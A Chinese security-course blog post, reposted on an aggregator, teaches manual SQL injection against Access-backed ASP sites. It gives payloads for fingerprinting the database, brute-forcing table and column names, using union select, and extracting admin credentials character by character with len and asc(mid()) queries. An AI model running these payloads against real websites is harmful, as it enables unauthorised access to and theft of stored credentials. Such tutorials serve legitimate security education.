当前位置: 首页 > news >正文

网络安全进阶学习第十二课——SQL手工注入3(Access数据库)

文章目录

  • 注入流程:
  • 1、判断数据库类型
  • 2、判断表名
  • 3、判断列名
  • 4、判断列数
    • 1)判断显示位
  • 5、判断数据长度
  • 6、爆破数据内容


注入流程:

判断数据库类型 ——> 判断表名 ——> 判断列名 ——> 判断列名长度 ——> 查出数据。


asp的网站,常用数据库为access、sqlserver。

1、判断数据库类型

and exsits (select * from msysobjects)>0 access
and exsits (select * from sysobjects)>0 sqlserver

上述语句会返回1或者0
msysobjects是access的默认数据库
sysobjects是sqlserver的默认数据库

如图:
在这里插入图片描述
在这里插入图片描述
这里就能判断是access的数据库。


2、判断表名

遍历表名:and exists (select * from 表名)
#存在就返回正常页面,不存在就报错。

举例:
and exists (select * from admin_user)

使用BP对后面的admin_user所在位置的值进行遍历
假设这里跑出来表名就是:admin_user


3、判断列名

遍历列名:and exists (select 列名 from 表名)
#存在就返回正常页面,不存在就报错。

举例:
and exists (select admin from admin_user)

已经得知表名是admin_user,使用BP对列名admin所在位置的值进行遍历
假设这里跑出来列名就是:admin


4、判断列数

order by 7
在这里插入图片描述
前提:页面中需要有显示位

1)判断显示位

使用联合查询
union select 1,2,3,4,5,6,7 from admin_user


5、判断数据长度

and (select top 1 len(列名) from 表名)>5
#此为此列第一条数据的长度,判断其是不是大于5

and (select top 1 len(列名) from 表名)=5
#此为此列第一条数据的长度是不是等于5

举例:
and (select top 1 len(admin) from admin_user)=5

假如返回是真,那就说明admin_user这个表里面对应的admin这一列的第一个数据长度时5.


6、爆破数据内容

and (select top 1 asc(mid(列名,位数,1)) from admin)=97
#mid()用于从文本中提取字段,mid(列名,起始位置,要返回的字符数)
#asc()是进行ASCII编码

举例:
and (select top 1 asc(mid(admin,1,1)) from admin_user)=97(97对应的字母为a)

#若返回真,说明admin_user这个表中admin字段对应的那一列的第一条数据的第一位是 ’ a ’


http://www.lryc.cn/news/114704.html

相关文章:

  • Zookeeper集群+Kafka集群
  • 管理类联考——逻辑——论证逻辑——汇总篇——目录+提炼
  • 用excel格式书写的接口用例执行脚本
  • 【flink】Chunk splitting has encountered exception
  • 单元测试用例分组 demo
  • 观察者模式(Observer)
  • 20天学会rust(二)rust的基础语法篇
  • Stephen Wolfram:嵌入的概念
  • springboot,swagger多个mapper包,多个controller加载问题
  • 湖大CG满分教程:作业训练四编程题20. 回文串(暴力×动态规划算法√)
  • 使用toad库进行机器学习评分卡全流程
  • Python数据容器——列表(list)
  • Linux CEF(Chromium Embedded Framework)源码下载编译详细记录
  • Adaptive AUTOSAR—— Communication Management 3.1
  • VMnet0 桥接设置
  • Sublime Text 4 Build 4151 4152 发布及注册方法
  • 第八篇: K8S Prometheus Operator实现Ceph集群企业微信机器人告警
  • 软件单元测试
  • Redis | 集群模式
  • 8.3day04git+数据结构
  • 04-5_Qt 5.9 C++开发指南_QComboBox和QPlainTextEdit
  • Sqlserver_Oracle_Mysql_Postgresql不同关系型数据库之主从延迟的理解和实验
  • Clickhouse学习系列——一条SQL完成gourp by分组与不分组数值计算
  • 做好“关键基础设施提供商”角色,亚马逊云科技加快生成式AI落地
  • 如何使用 ChatGPT 规划家居装修
  • 题解 | #1002.Random Nim Game# 2023杭电暑期多校7
  • 篇九:组合模式:树形结构的力量
  • 【注册表】windows系统注册表常用修改方案
  • ant-design-vue 4.x升级问题-样式丢失问题
  • 【果树农药喷洒机器人】Part3:变量喷药系统工作原理介绍